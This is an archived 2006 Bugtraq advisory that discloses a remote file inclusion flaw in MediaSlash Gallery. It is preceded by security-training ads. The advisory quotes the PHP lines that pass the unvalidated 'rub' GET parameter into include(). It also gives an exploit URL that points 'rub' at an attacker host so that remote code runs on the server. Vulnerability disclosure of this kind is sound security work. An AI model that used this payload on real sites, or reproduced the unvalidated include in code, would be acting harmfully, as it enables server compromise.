Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]

MediaSlash Gallery 'rub' variable Remote File inlcusion Vulnerability

Subject: MediaSlash Gallery 'rub' variable Remote File inlcusion Vulnerability
Date: 30 Mar 2006 20:39:12 -0000
author: [Moroccan Security Team]
Vendor: www.MediaSlash.com
Vendor Contacted
greetz to : [Moroccan Security Team] CiM-TeaM and All Freinds
Google : Powered by MediaSlash.com
Details:

MediaSlash Galleryis is vulnerable to remote URL inclusion vulnerability
This flaw is due to an input validation error in the "index.php"(line 489)
script that does not validate the "rub" variable,remote attackers can include
malicious scripts and execute arbitrary commands with the privileges of the web 
server
 
Code:
 
27 .            $rub = @$_GET["rub"];
...
57 .            $page_menu = ''.$rub.'/index.php';
489.            <? include($page_menu); ?> //!!!!!!!!


Exploit http://[trajet]/[path]/index.php?rub=http://[attacker]

http://[attacker]/index.php will be included and executed withe
the privileges of the web server

Simo64 Moroccan Security Team :) simo64[at]gmail[dot]com

<Prev in Thread] Current Thread [Next in Thread>
  • MediaSlash Gallery 'rub' variable Remote File inlcusion Vulnerability, simo64 <=